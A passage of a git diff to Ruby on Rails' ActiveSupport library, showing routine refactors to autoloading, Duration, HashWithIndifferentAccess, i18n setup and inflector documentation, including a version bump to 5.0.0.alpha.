-      # to_s works around a ruby1.9 issue where #starts_with?(Pathname) will always return false
+      # to_s works around a ruby issue where String#starts_with?(Pathname)
+      # will raise a TypeError: no implicit conversion of Pathname into String
       autoload_once_paths.any? { |base| path.starts_with? base.to_s }
     end
 
@@ -445,8 +479,6 @@ module ActiveSupport #:nodoc:
         raise ArgumentError, "A copy of #{from_mod} has been removed from the module tree but is still active!"
       end
 
-      raise NameError, "#{from_mod} is not missing constant #{const_name}!" if from_mod.const_defined?(const_name, false)
-
       qualified_name = qualified_name_for from_mod, const_name
       path_suffix = qualified_name.underscore
 
@@ -456,7 +488,7 @@ module ActiveSupport #:nodoc:
         expanded = File.expand_path(file_path)
         expanded.sub!(/\.rb\z/, '')
 
-        if loaded.include?(expanded)
+        if loading.include?(expanded)
           raise "Circular dependency detected while autoloading constant #{qualified_name}"
         else
           require_or_load(expanded, qualified_name)
@@ -497,9 +529,9 @@ module ActiveSupport #:nodoc:
         end
       end
 
-      raise NameError,
-            "uninitialized constant #{qualified_name}",
-            caller.reject { |l| l.starts_with? __FILE__ }
+      name_error = NameError.new("uninitialized constant #{qualified_name}", const_name)
+      name_error.set_backtrace(caller.reject {|l| l.starts_with? __FILE__ })
+      raise name_error
     end
 
     # Remove the constants that have been autoloaded, and those that have been
@@ -575,7 +607,7 @@ module ActiveSupport #:nodoc:
     def autoloaded?(desc)
       return false if desc.is_a?(Module) && desc.anonymous?
       name = to_constant_name desc
-      return false unless qualified_const_defined? name
+      return false unless qualified_const_defined?(name)
       return autoloaded_constants.include?(name)
     end
 
@@ -648,6 +680,14 @@ module ActiveSupport #:nodoc:
       constants = normalized.split('::')
       to_remove = constants.pop
 
+      # Remove the file path from the loaded list.
+      file_path = search_for_file(const.underscore)
+      if file_path
+        expanded = File.expand_path(file_path)
+        expanded.sub!(/\.rb\z/, '')
+        self.loaded.delete(expanded)
+      end
+
       if constants.empty?
         parent = Object
       else
@@ -702,7 +742,7 @@ module ActiveSupport #:nodoc:
     protected
       def log_call(*args)
         if log_activity?
-          arg_str = args.collect { |arg| arg.inspect } * ', '
+          arg_str = args.collect(&:inspect) * ', '
           /in `([a-z_\?\!]+)'/ =~ caller(1).first
           selector = $1 || '<unknown>'
           log "called #{selector}(#{arg_str})"
diff --git a/activesupport/lib/active_support/dependencies/autoload.rb b/activesupport/lib/active_support/dependencies/autoload.rb
index c0dba5f7fd..13036d521d 100644
--- a/activesupport/lib/active_support/dependencies/autoload.rb
+++ b/activesupport/lib/active_support/dependencies/autoload.rb
@@ -67,7 +67,7 @@ module ActiveSupport
     end
 
     def eager_load!
-      @_autoloads.values.each { |file| require file }
+      @_autoloads.each_value { |file| require file }
     end
 
     def autoloads
diff --git a/activesupport/lib/active_support/deprecation.rb b/activesupport/lib/active_support/deprecation.rb
index ab16977bda..46e9996d59 100644
--- a/activesupport/lib/active_support/deprecation.rb
+++ b/activesupport/lib/active_support/deprecation.rb
@@ -32,7 +32,7 @@ module ActiveSupport
     # and the second is a library name
     #
     #   ActiveSupport::Deprecation.new('2.0', 'MyLibrary')
-    def initialize(deprecation_horizon = '4.2', gem_name = 'Rails')
+    def initialize(deprecation_horizon = '5.0', gem_name = 'Rails')
       self.gem_name = gem_name
       self.deprecation_horizon = deprecation_horizon
       # By default, warnings are not silenced and debugging is off.
diff --git a/activesupport/lib/active_support/deprecation/behaviors.rb b/activesupport/lib/active_support/deprecation/behaviors.rb
index 328b8c320a..9f9dca8453 100644
--- a/activesupport/lib/active_support/deprecation/behaviors.rb
+++ b/activesupport/lib/active_support/deprecation/behaviors.rb
@@ -20,7 +20,7 @@ module ActiveSupport
 
       log: ->(message, callstack) {
         logger =
-            if defined?(Rails) && Rails.logger
+            if defined?(Rails.logger) && Rails.logger
               Rails.logger
             else
               require 'active_support/logger'
diff --git a/activesupport/lib/active_support/duration.rb b/activesupport/lib/active_support/duration.rb
index 00727ef73c..5a64fc52cc 100644
--- a/activesupport/lib/active_support/duration.rb
+++ b/activesupport/lib/active_support/duration.rb
@@ -1,4 +1,3 @@
-require 'active_support/proxy_object'
 require 'active_support/core_ext/array/conversions'
 require 'active_support/core_ext/object/acts_like'
 
@@ -7,7 +6,7 @@ module ActiveSupport
   # Time#advance, respectively. It mainly supports the methods on Numeric.
   #
   #   1.month.ago       # equivalent to Time.now.advance(months: -1)
-  class Duration < ProxyObject
+  class Duration
     attr_accessor :value, :parts
 
     def initialize(value, parts) #:nodoc:
@@ -39,6 +38,10 @@ module ActiveSupport
     end
     alias :kind_of? :is_a?
 
+    def instance_of?(klass) # :nodoc:
+      Duration == klass || value.instance_of?(klass)
+    end
+
     # Returns +true+ if +other+ is also a Duration instance with the
     # same +value+, or if <tt>other == value</tt>.
     def ==(other)
@@ -49,6 +52,20 @@ module ActiveSupport
       end
     end
 
+    def to_s
+      @value.to_s
+    end
+
+    # Returns +true+ if +other+ is also a Duration instance, which has the
+    # same parts as this one.
+    def eql?(other)
+      Duration === other && other.value.eql?(value)
+    end
+
+    def hash
+      @value.hash
+    end
+
     def self.===(other) #:nodoc:
       other.is_a?(Duration)
     rescue ::NoMethodError
@@ -70,19 +87,23 @@ module ActiveSupport
     alias :until :ago
 
     def inspect #:nodoc:
-      val_for = parts.inject(::Hash.new(0)) { |h,(l,r)| h[l] += r; h }
-      [:years, :months, :days, :minutes, :seconds].
-        select {|unit| val_for[unit].nonzero?}.
-        tap {|units| units << :seconds if units.empty?}.
-        map {|unit| [unit, val_for[unit]]}.
-        map {|unit, val| "#{val} #{val == 1 ? unit.to_s.chop : unit.to_s}"}.
-        to_sentence(:locale => :en)
+      parts.
+        reduce(::Hash.new(0)) { |h,(l,r)| h[l] += r; h }.
+        sort_by {|unit,  _ | [:years, :months, :days, :minutes, :seconds].index(unit)}.
+        map     {|unit, val| "#{val} #{val == 1 ? unit.to_s.chop : unit.to_s}"}.
+        to_sentence(locale: ::I18n.default_locale)
     end
 
     def as_json(options = nil) #:nodoc:
       to_i
     end
 
+    def respond_to_missing?(method, include_private=false) #:nodoc:
+      @value.respond_to?(method, include_private)
+    end
+
+    delegate :<=>, to: :value
+
     protected
 
       def sum(sign, time = ::Time.current) #:nodoc:
diff --git a/activesupport/lib/active_support/file_update_checker.rb b/activesupport/lib/active_support/file_update_checker.rb
index d6918bede2..78b627c286 100644
--- a/activesupport/lib/active_support/file_update_checker.rb
+++ b/activesupport/lib/active_support/file_update_checker.rb
@@ -92,7 +92,7 @@ module ActiveSupport
 
     def watched
       @watched || begin
-        all = @files.select { |f| File.exists?(f) }
+        all = @files.select { |f| File.exist?(f) }
         all.concat(Dir[@glob]) if @glob
         all
       end
diff --git a/activesupport/lib/active_support/file_watcher.rb b/activesupport/lib/active_support/file_watcher.rb
deleted file mode 100644
index 81e63e76a7..0000000000
--- a/activesupport/lib/active_support/file_watcher.rb
+++ /dev/null
@@ -1,36 +0,0 @@
-module ActiveSupport
-  class FileWatcher
-    class Backend
-      def initialize(path, watcher)
-        @watcher = watcher
-        @path    = path
-      end
-
-      def trigger(files)
-        @watcher.trigger(files)
-      end
-    end
-
-    def initialize
-      @regex_matchers = {}
-    end
-
-    def watch(pattern, &block)
-      @regex_matchers[pattern] = block
-    end
-
-    def trigger(files)
-      trigger_files = Hash.new { |h,k| h[k] = Hash.new { |h2,k2| h2[k2] = [] } }
-
-      files.each do |file, state|
-        @regex_matchers.each do |pattern, block|
-          trigger_files[block][state] << file if pattern === file
-        end
-      end
-
-      trigger_files.each do |block, payload|
-        block.call payload
-      end
-    end
-  end
-end
diff --git a/activesupport/lib/active_support/gem_version.rb b/activesupport/lib/active_support/gem_version.rb
new file mode 100644
index 0000000000..7068f09d87
--- /dev/null
+++ b/activesupport/lib/active_support/gem_version.rb
@@ -0,0 +1,15 @@
+module ActiveSupport
+  # Returns the version of the currently loaded Active Support as a <tt>Gem::Version</tt>
+  def self.gem_version
+    Gem::Version.new VERSION::STRING
+  end
+
+  module VERSION
+    MAJOR = 5
+    MINOR = 0
+    TINY  = 0
+    PRE   = "alpha"
+
+    STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+  end
+end
diff --git a/activesupport/lib/active_support/hash_with_indifferent_access.rb b/activesupport/lib/active_support/hash_with_indifferent_access.rb
index 3da99872c0..4f71f13971 100644
--- a/activesupport/lib/active_support/hash_with_indifferent_access.rb
+++ b/activesupport/lib/active_support/hash_with_indifferent_access.rb
@@ -1,4 +1,5 @@
 require 'active_support/core_ext/hash/keys'
+require 'active_support/core_ext/hash/reverse_merge'
 
 module ActiveSupport
   # Implements a hash where keys <tt>:foo</tt> and <tt>"foo"</tt> are considered
@@ -55,7 +56,7 @@ module ActiveSupport
     end
 
     def initialize(constructor = {})
-      if constructor.is_a?(Hash)
+      if constructor.respond_to?(:to_hash)
         super()
         update(constructor)
       else
@@ -72,8 +73,10 @@ module ActiveSupport
     end
 
     def self.new_from_hash_copying_default(hash)
+      hash = hash.to_hash
       new(hash).tap do |new_hash|
         new_hash.default = hash.default
+        new_hash.default_proc = hash.default_proc if hash.default_proc
       end
     end
 
@@ -125,7 +128,7 @@ module ActiveSupport
       if other_hash.is_a? HashWithIndifferentAccess
         super(other_hash)
       else
-        other_hash.each_pair do |key, value|
+        other_hash.to_hash.each_pair do |key, value|
           if block_given? && key?(key)
             value = yield(convert_key(key), self[key], value)
           end
@@ -159,7 +162,7 @@ module ActiveSupport
     #
     #   counters.fetch('foo')          # => 1
     #   counters.fetch(:bar, 0)        # => 0
-    #   counters.fetch(:bar) {|key| 0} # => 0
+    #   counters.fetch(:bar) { |key| 0 } # => 0
     #   counters.fetch(:zoo)           # => KeyError: key not found: "zoo"
     def fetch(key, *extras)
       super(convert_key(key), *extras)
@@ -172,10 +175,17 @@ module ActiveSupport
     #   hash[:b] = 'y'
     #   hash.values_at('a', 'b') # => ["x", "y"]
     def values_at(*indices)
-      indices.collect {|key| self[convert_key(key)]}
+      indices.collect { |key| self[convert_key(key)] }
     end
 
-    # Returns an exact copy of the hash.
+    # Returns a shallow copy of the hash.
+    #
+    #   hash = ActiveSupport::HashWithIndifferentAccess.new({ a: { b: 'b' } })
+    #   dup  = hash.dup
+    #   dup[:a][:c] = 'c'
+    #
+    #   hash[:a][:c] # => nil
+    #   dup[:a][:c]  # => "c"
     def dup
       self.class.new(self).tap do |new_hash|
         new_hash.default = default
@@ -207,7 +217,7 @@ module ActiveSupport
     # Replaces the contents of this hash with other_hash.
     #
     #   h = { "a" => 100, "b" => 200 }
-    #   h.replace({ "c" => 300, "d" => 400 }) #=> {"c"=>300, "d"=>400}
+    #   h.replace({ "c" => 300, "d" => 400 }) # => {"c"=>300, "d"=>400}
     def replace(other_hash)
       super(self.class.new_from_hash_copying_default(other_hash))
     end
@@ -228,16 +238,20 @@ module ActiveSupport
     def to_options!; self end
 
     def select(*args, &block)
-      dup.tap {|hash| hash.select!(*args, &block)}
+      dup.tap { |hash| hash.select!(*args, &block) }
+    end
+
+    def reject(*args, &block)
+      dup.tap { |hash| hash.reject!(*args, &block) }
     end
 
     # Convert to a regular hash with string keys.
     def to_hash
-      _new_hash= {}
+      _new_hash = Hash.new(default)
       each do |key, value|
-        _new_hash[convert_key(key)] = convert_value(value, for: :to_hash)
+        _new_hash[key] = convert_value(value, for: :to_hash)
       end
-      Hash.new(default).merge!(_new_hash)
+      _new_hash
     end
 
     protected
@@ -253,7 +267,7 @@ module ActiveSupport
             value.nested_under_indifferent_access
           end
         elsif value.is_a?(Array)
-          unless options[:for] == :assignment
+          if options[:for] != :assignment || value.frozen?
             value = value.dup
           end
           value.map! { |e| convert_value(e, options) }
diff --git a/activesupport/lib/active_support/i18n_railtie.rb b/activesupport/lib/active_support/i18n_railtie.rb
index 890dd9380b..95f3f6255a 100644
--- a/activesupport/lib/active_support/i18n_railtie.rb
+++ b/activesupport/lib/active_support/i18n_railtie.rb
@@ -31,6 +31,12 @@ module I18n
 
       fallbacks = app.config.i18n.delete(:fallbacks)
 
+      # Avoid issues with setting the default_locale by disabling available locales
+      # check while configuring.
+      enforce_available_locales = app.config.i18n.delete(:enforce_available_locales)
+      enforce_available_locales = I18n.enforce_available_locales if enforce_available_locales.nil?
+      I18n.enforce_available_locales = false
+
       app.config.i18n.each do |setting, value|
         case setting
         when :railties_load_path
@@ -44,16 +50,25 @@ module I18n
 
       init_fallbacks(fallbacks) if fallbacks && validate_fallbacks(fallbacks)
 
+      # Restore available locales check so it will take place from now on.
+      I18n.enforce_available_locales = enforce_available_locales
+
       reloader = ActiveSupport::FileUpdateChecker.new(I18n.load_path.dup){ I18n.reload! }
       app.reloaders << reloader
-      ActionDispatch::Reloader.to_prepare { reloader.execute_if_updated }
+      ActionDispatch::Reloader.to_prepare do
+        reloader.execute_if_updated
+        # TODO: remove the following line as soon as the return value of
+        # callbacks is ignored, that is, returning `false` does not
+        # display a deprecation warning or halts the callback chain.
+        true
+      end
       reloader.execute
 
       @i18n_inited = true
     end
 
     def self.include_fallbacks_module
-      I18n.backend.class.send(:include, I18n::Backend::Fallbacks)
+      I18n.backend.class.include(I18n::Backend::Fallbacks)
     end
 
     def self.init_fallbacks(fallbacks)
diff --git a/activesupport/lib/active_support/inflections.rb b/activesupport/lib/active_support/inflections.rb
index 4ea6abfa12..2ca1124e76 100644
--- a/activesupport/lib/active_support/inflections.rb
+++ b/activesupport/lib/active_support/inflections.rb
@@ -1,5 +1,11 @@
 require 'active_support/inflector/inflections'
 
+#--
+# Defines the standard inflection rules. These are the starting point for
+# new projects and are not considered complete. The current set of inflection
+# rules is frozen. This means, we do not change them to become more complete.
+# This is a safety measure to keep existing applications from breaking.
+#++
 module ActiveSupport
   Inflector.inflections(:en) do |inflect|
     inflect.plural(/$/, 's')
diff --git a/activesupport/lib/active_support/inflector/inflections.rb b/activesupport/lib/active_support/inflector/inflections.rb
index c96debb93f..486838bd15 100644
--- a/activesupport/lib/active_support/inflector/inflections.rb
+++ b/activesupport/lib/active_support/inflector/inflections.rb
@@ -52,21 +52,21 @@ module ActiveSupport
       # into a non-delimited single lowercase word when passed to +underscore+.
       #
       #   acronym 'HTML'
-      #   titleize 'html'     #=> 'HTML'
-      #   camelize 'html'     #=> 'HTML'
-      #   underscore 'MyHTML' #=> 'my_html'
+      #   titleize 'html'     # => 'HTML'
+      #   camelize 'html'     # => 'HTML'
+      #   underscore 'MyHTML' # => 'my_html'
       #
       # The acronym, however, must occur as a delimited unit and not be part of
       # another word for conversions to recognize it:
       #
       #   acronym 'HTTP'
-      #   camelize 'my_http_delimited' #=> 'MyHTTPDelimited'
-      #   camelize 'https'             #=> 'Https', not 'HTTPs'
-      #   underscore 'HTTPS'           #=> 'http_s', not 'https'
+      #   camelize 'my_http_delimited' # => 'MyHTTPDelimited'
+      #   camelize 'https'             # => 'Https', not 'HTTPs'
+      #   underscore 'HTTPS'           # => 'http_s', not 'https'
       #
       #   acronym 'HTTPS'
-      #   camelize 'https'   #=> 'HTTPS'
-      #   underscore 'HTTPS' #=> 'https'
+      #   camelize 'https'   # => 'HTTPS'
+      #   underscore 'HTTPS' # => 'https'
       #
       # Note: Acronyms that are passed to +pluralize+ will no longer be
       # recognized, since the acronym will not occur as a delimited unit in the
@@ -74,25 +74,25 @@ module ActiveSupport
       # form as an acronym as well:
       #
       #    acronym 'API'
-      #    camelize(pluralize('api')) #=> 'Apis'
+      #    camelize(pluralize('api')) # => 'Apis'
       #
       #    acronym 'APIs'
-      #    camelize(pluralize('api')) #=> 'APIs'
+      #    camelize(pluralize('api')) # => 'APIs'
       #
       # +acronym+ may be used to specify any word that contains an acronym or
       # otherwise needs to maintain a non-standard capitalization. The only
       # restriction is that the word must begin with a capital letter.
       #
       #   acronym 'RESTful'
-      #   underscore 'RESTful'           #=> 'restful'
-      #   underscore 'RESTfulController' #=> 'restful_controller'
-      #   titleize 'RESTfulController'   #=> 'RESTful Controller'
-      #   camelize 'restful'             #=> 'RESTful'
-      #   camelize 'restful_controller'  #=> 'RESTfulController'
+      #   underscore 'RESTful'           # => 'restful'
+      #   underscore 'RESTfulController' # => 'restful_controller'
+      #   titleize 'RESTfulController'   # => 'RESTful Controller'
+      #   camelize 'restful'             # => 'RESTful'
+      #   camelize 'restful_controller'  # => 'RESTfulController'
       #
       #   acronym 'McDonald'
-      #   underscore 'McDonald' #=> 'mcdonald'
-      #   camelize 'mcdonald'   #=> 'McDonald'
+      #   underscore 'McDonald' # => 'mcdonald'
+      #   camelize 'mcdonald'   # => 'McDonald'
       def acronym(word)
         @acronyms[word.downcase] = word
         @acronym_regex = /#{@acronyms.values.join("|")}/
@@ -154,13 +154,13 @@ module ActiveSupport
         end
       end
 
-      # Add uncountable words that shouldn't be attempted inflected.
+      # Specifies words that are uncountable and should not be inflected.
       #
       #   uncountable 'money'
       #   uncountable 'money', 'information'
       #   uncountable %w( money information rice )
       def uncountable(*words)
-        (@uncountables << words).flatten!
+        @uncountables += words.flatten.map(&:downcase)
       end
 
       # Specifies a humanized form of a string by a regular expression rule or
diff --git a/activesupport/lib/active_support/inflector/methods.rb b/activesupport/lib/active_support/inflector/methods.rb
index ffdb7b53c4..fe8a2ac9ba 100644
--- a/activesupport/lib/active_support/inflector/methods.rb
+++ b/activesupport/lib/active_support/inflector/methods.rb
@@ -22,49 +22,49 @@ module ActiveSupport
     # pluralized using rules defined for that language. By default,
     # this parameter is set to <tt>:en</tt>.
     #
-    #   'post'.pluralize             # => "posts"
-    #   'octopus'.pluralize          # => "octopi"
-    #   'sheep'.pluralize            # => "sheep"
-    #   'words'.pluralize            # => "words"
-    #   'CamelOctopus'.pluralize     # => "CamelOctopi"
-    #   'ley'.pluralize(:es)         # => "leyes"
+    #   pluralize('post')             # => "posts"
+    #   pluralize('octopus')          # => "octopi"
+    #   pluralize('sheep')            # => "sheep"
+    #   pluralize('words')            # => "words"
+    #   pluralize('CamelOctopus')     # => "CamelOctopi"
+    #   pluralize('ley', :es)         # => "leyes"
     def pluralize(word, locale = :en)
       apply_inflections(word, inflections(locale).plurals)
     end
 
-    # The reverse of +pluralize+, returns the singular form of a word in a
+    # The reverse of #pluralize, returns the singular form of a word in a
     # string.
     #
     # If passed an optional +locale+ parameter, the word will be
     # singularized using rules defined for that language. By default,
     # this parameter is set to <tt>:en</tt>.
     #
-    #   'posts'.singularize            # => "post"
-    #   'octopi'.singularize           # => "octopus"
-    #   'sheep'.singularize            # => "sheep"
-    #   'word'.singularize             # => "word"
-    #   'CamelOctopi'.singularize      # => "CamelOctopus"
-    #   'leyes'.singularize(:es)       # => "ley"
+    #   singularize('posts')            # => "post"
+    #   singularize('octopi')           # => "octopus"
+    #   singularize('sheep')            # => "sheep"
+    #   singularize('word')             # => "word"
+    #   singularize('CamelOctopi')      # => "CamelOctopus"
+    #   singularize('leyes', :es)       # => "ley"
     def singularize(word, locale = :en)
       apply_inflections(word, inflections(locale).singulars)
     end
 
-    # By default, +camelize+ converts strings to UpperCamelCase. If the argument
-    # to +camelize+ is set to <tt>:lower</tt> then +camelize+ produces
+    # Converts strings to UpperCamelCase.
+    # If the +uppercase_first_letter+ parameter is set to false, then produces
     # lowerCamelCase.
     #
-    # +camelize+ will also convert '/' to '::' which is useful for converting
+    # Also converts '/' to '::' which is useful for converting
     # paths to namespaces.
     #
-    #   'active_model'.camelize                # => "ActiveModel"
-    #   'active_model'.camelize(:lower)        # => "activeModel"
-    #   'active_model/errors'.camelize         # => "ActiveModel::Errors"
-    #   'active_model/errors'.camelize(:lower) # => "activeModel::Errors"
+    #   camelize('active_model')                # => "ActiveModel"
+    #   camelize('active_model', false)         # => "activeModel"
+    #   camelize('active_model/errors')         # => "ActiveModel::Errors"
+    #   camelize('active_model/errors', false)  # => "activeModel::Errors"
     #
     # As a rule of thumb you can think of +camelize+ as the inverse of
-    # +underscore+, though there are cases where that does not hold:
+    # #underscore, though there are cases where that does not hold:
     #
-    #   'SSLError'.underscore.camelize # => "SslError"
+    #   camelize(underscore('SSLError'))        # => "SslError"
     def camelize(term, uppercase_first_letter = true)
       string = term.to_s
       if uppercase_first_letter
@@ -73,7 +73,7 @@ module ActiveSupport
         string = string.sub(/^(?:#{inflections.acronym_regex}(?=\b|[A-Z_])|\w)/) { $&.downcase }
       end
       string.gsub!(/(?:_|(\/))([a-z\d]*)/i) { "#{$1}#{inflections.acronyms[$2] || $2.capitalize}" }
-      string.gsub!('/', '::')
+      string.gsub!(/\//, '::')
       string
     end
 
@@ -81,16 +81,17 @@ module ActiveSupport
     #
     # Changes '::' to '/' to convert namespaces to paths.
     #
-    #   'ActiveModel'.underscore         # => "active_model"
-    #   'ActiveModel::Errors'.underscore # => "active_model/errors"
+    #   underscore('ActiveModel')         # => "active_model"
+    #   underscore('ActiveModel::Errors') # => "active_model/errors"
     #
     # As a rule of thumb you can think of +underscore+ as the inverse of
-    # +camelize+, though there are cases where that does not hold:
+    # #camelize, though there are cases where that does not hold:
     #
-    #   'SSLError'.underscore.camelize # => "SslError"
+    #   camelize(underscore('SSLError'))  # => "SslError"
     def underscore(camel_cased_word)
-      word = camel_cased_word.to_s.gsub('::', '/')
-      word.gsub!(/(?:([A-Za-z\d])|^)(#{inflections.acronym_regex})(?=\b|[^a-z])/) { "#{$1}#{$1 && '_'}#{$2.downcase}" }
+      return camel_cased_word unless camel_cased_word =~ /[A-Z-]|::/
+      word = camel_cased_word.to_s.gsub(/::/, '/')
+      word.gsub!(/(?:(?<=([A-Za-z\d]))|\b)(#{inflections.acronym_regex})(?=\b|[^a-z])/) { "#{$1 && '_'}#{$2.downcase}" }
       word.gsub!(/([A-Z\d]+)([A-Z][a-z])/,'\1_\2')
       word.gsub!(/([a-z\d])([A-Z])/,'\1_\2')
       word.tr!("-", "_")
@@ -98,20 +99,47 @@ module ActiveSupport
       word
     end
 
-    # Capitalizes the first word and turns underscores into spaces and strips a
-    # trailing "_id", if any. Like +titleize+, this is meant for creating pretty
-    # output.
+    # Tweaks an attribute name for display to end users.
     #
-    #   'employee_salary'.humanize # => "Employee salary"
-    #   'author_id'.humanize       # => "Author"
-    def humanize(lower_case_and_underscored_word)
+    # Specifically, performs these transformations:
+    #
+    # * Applies human inflection rules to the argument.
+    # * Deletes leading underscores, if any.
+    # * Removes a "_id" suffix if present.
+    # * Replaces underscores with spaces, if any.
+    # * Downcases all words except acronyms.
+    # * Capitalizes the first word.
+    #
+    # The capitalization of the first word can be turned off by setting the
+    # +:capitalize+ option to false (default is true).
+    #
+    #   humanize('employee_salary')              # => "Employee salary"
+    #   humanize('author_id')                    # => "Author"
+    #   humanize('author_id', capitalize: false) # => "author"
+    #   humanize('_id')                          # => "Id"
+    #
+    # If "SSL" was defined to be an acronym:
+    #
+    #   humanize('ssl_error') # => "SSL error"
+    #
+    def humanize(lower_case_and_underscored_word, options = {})
       result = lower_case_and_underscored_word.to_s.dup
+
       inflections.humans.each { |(rule, replacement)| break if result.sub!(rule, replacement) }
-      result.gsub!(/_id$/, "")
+
+      result.sub!(/\A_+/, '')
+      result.sub!(/_id\z/, '')
       result.tr!('_', ' ')
-      result.gsub(/([a-z\d]*)/i) { |match|
+
+      result.gsub!(/([a-z\d]*)/i) do |match|
         "#{inflections.acronyms[match] || match.downcase}"
-      }.gsub(/^\w/) { $&.upcase }
+      end
+
+      if options.fetch(:capitalize, true)
+        result.sub!(/\A\w/) { |match| match.upcase }
+      end
+
+      result
     end
 
     # Capitalizes all the words and replaces some characters in the string to
@@ -120,34 +148,34 @@ module ActiveSupport
     #
     # +titleize+ is also aliased as +titlecase+.
     #
-    #   'man from the boondocks'.titleize   # => "Man From The Boondocks"
-    #   'x-men: the last stand'.titleize    # => "X Men: The Last Stand"
-    #   'TheManWithoutAPast'.titleize       # => "The Man Without A Past"
-    #   'raiders_of_the_lost_ark'.titleize  # => "Raiders Of The Lost Ark"
+    #   titleize('man from the boondocks')   # => "Man From The Boondocks"
+    #   titleize('x-men: the last stand')    # => "X Men: The Last Stand"
+    #   titleize('TheManWithoutAPast')       # => "The Man Without A Past"
+    #   titleize('raiders_of_the_lost_ark')  # => "Raiders Of The Lost Ark"
     def titleize(word)
       humanize(underscore(word)).gsub(/\b(?<!['’`])[a-z]/) { $&.capitalize }
     end
 
-    # Create the name of a table like Rails does for models to table names. This
-    # method uses the +pluralize+ method on the last word in the string.
+    # Creates the name of a table like Rails does for models to table names.
+    # This method uses the #pluralize method on the last word in the string.
     #
-    #   'RawScaledScorer'.tableize # => "raw_scaled_scorers"
-    #   'egg_and_ham'.tableize     # => "egg_and_hams"
-    #   'fancyCategory'.tableize   # => "fancy_categories"
+    #   tableize('RawScaledScorer') # => "raw_scaled_scorers"
+    #   tableize('egg_and_ham')     # => "egg_and_hams"
+    #   tableize('fancyCategory')   # => "fancy_categories"
     def tableize(class_name)
       pluralize(underscore(class_name))
     end
 
-    # Create a class name from a plural table name like Rails does for table
+    # Creates a class name from a plural table name like Rails does for table
     # names to models. Note that this returns a string and not a Class (To
-    # convert to an actual class follow +classify+ with +constantize+).
+    # convert to an actual class follow +classify+ with #constantize).
     #
-    #   'egg_and_hams'.classify # => "EggAndHam"
-    #   'posts'.classify        # => "Post"
+    #   classify('egg_and_hams') # => "EggAndHam"
+    #   classify('posts')        # => "Post"
     #
     # Singular names are not handled correctly:
     #
-    #   'business'.classify     # => "Busines"
+    #   classify('calculus')     # => "Calculu"
     def classify(table_name)
       # strip out any leading schema name
       camelize(singularize(table_name.to_s.sub(/.*\./, '')))
@@ -155,17 +183,19 @@ module ActiveSupport
 
     # Replaces underscores with dashes in the string.
     #
-    #   'puni_puni'.dasherize # => "puni-puni"
+    #   dasherize('puni_puni') # => "puni-puni"
     def dasherize(underscored_word)
       underscored_word.tr('_', '-')
     end
 
     # Removes the module part from the expression in the string.
     #
-    #   'ActiveRecord::CoreExtensions::String::Inflections'.demodulize # => "Inflections"
-    #   'Inflections'.demodulize                                       # => "Inflections"
+    #   demodulize('ActiveRecord::CoreExtensions::String::Inflections') # => "Inflections"
+    #   demodulize('Inflections')                                       # => "Inflections"
+    #   demodulize('::Inflections')                                     # => "Inflections"
+    #   demodulize('')                                                  # => ""
     #
-    # See also +deconstantize+.
+    # See also #deconstantize.
     def demodulize(path)
       path = path.to_s
       if i = path.rindex('::')
@@ -177,13 +207,13 @@ module ActiveSupport
 
     # Removes the rightmost segment from the constant expression in the string.
     #
-    #   'Net::HTTP'.deconstantize   # => "Net"
-    #   '::Net::HTTP'.deconstantize # => "::Net"
-    #   'String'.deconstantize      # => ""
-    #   '::String'.deconstantize    # => ""
-    #   ''.deconstantize            # => ""
+    #   deconstantize('Net::HTTP')   # => "Net"
+    #   deconstantize('::Net::HTTP') # => "::Net"
+    #   deconstantize('String')      # => ""
+    #   deconstantize('::String')    # => ""
+    #   deconstantize('')            # => ""
     #
-    # See also +demodulize+.
+    # See also #demodulize.
     def deconstantize(path)
       path.to_s[0, path.rindex('::') || 0] # implementation based on the one in facets' Module#spacename
     end
@@ -192,9 +222,9 @@ module ActiveSupport
     # +separate_class_name_and_id_with_underscore+ sets whether
     # the method should put '_' between the name and 'id'.
     #
-    #   'Message'.foreign_key        # => "message_id"
-    #   'Message'.foreign_key(false) # => "messageid"
-    #   'Admin::Post'.foreign_key    # => "post_id"
+    #   foreign_key('Message')        # => "message_id"
+    #   foreign_key('Message', false) # => "messageid"
+    #   foreign_key('Admin::Post')    # => "post_id"
     def foreign_key(class_name, separate_class_name_and_id_with_underscore = true)
       underscore(demodulize(class_name)) + (separate_class_name_and_id_with_underscore ? "_id" : "id")
     end
@@ -220,7 +250,7 @@ module ActiveSupport
     def constantize(camel_cased_word)
       names = camel_cased_word.split('::')
 
-      # Trigger a builtin NameError exception including the ill-formed constant in the message.
+      # Trigger a built-in NameError exception including the ill-formed constant in the message.
       Object.const_get(camel_cased_word) if names.empty?
 
       # Remove the first blank element in case of '::ClassName' notation.
@@ -234,8 +264,8 @@ module ActiveSupport
           next candidate if constant.const_defined?(name, false)
           next candidate unless Object.const_defined?(name)
 
-          # Go down the ancestors to check it it's owned
-          # directly before we reach Object or the end of ancestors.
+          # Go down the ancestors to check if it is owned directly. The check
+          # stops when we reach Object or the end of ancestors tree.
           constant = constant.ancestors.inject do |const, ancestor|
             break const    if ancestor == Object
             break ancestor if ancestor.const_defined?(name, false)
@@ -250,8 +280,8 @@ module ActiveSupport
 
     # Tries to find a constant with the name specified in the argument string.
     #
-    #   'Module'.safe_constantize     # => Module
-    #   'Test::Unit'.safe_constantize # => Test::Unit
+    #   safe_constantize('Module')     # => Module
+    #   safe_constantize('Test::Unit') # => Test::Unit
     #
     # The name is assumed to be the one of a top-level constant, no matter
     # whether it starts with "::" or not. No lexical context is taken into
@@ -260,21 +290,21 @@ module ActiveSupport
     #   C = 'outside'
     #   module M
     #     C = 'inside'
-    #     C                    # => 'inside'
-    #     'C'.safe_constantize # => 'outside', same as ::C
+    #     C                     # => 'inside'
+    #     safe_constantize('C') # => 'outside', same as ::C
     #   end
     #
     # +nil+ is returned when the name is not in CamelCase or the constant (or
     # part of it) is unknown.
     #
-    #   'blargle'.safe_constantize  # => nil
-    #   'UnknownModule'.safe_constantize  # => nil
-    #   'UnknownModule::Foo::Bar'.safe_constantize  # => nil
+    #   safe_constantize('blargle')                  # => nil
+    #   safe_constantize('UnknownModule')            # => nil
+    #   safe_constantize('UnknownModule::Foo::Bar')  # => nil
     def safe_constantize(camel_cased_word)
       constantize(camel_cased_word)
     rescue NameError => e
-      raise unless e.message =~ /(uninitialized constant|wrong constant name) #{const_regexp(camel_cased_word)}$/ ||
-        e.name.to_s == camel_cased_word.to_s
+      raise if e.name && !(camel_cased_word.to_s.split("::").include?(e.name.to_s) ||
+        e.name.to_s == camel_cased_word.to_s)
     rescue ArgumentError => e
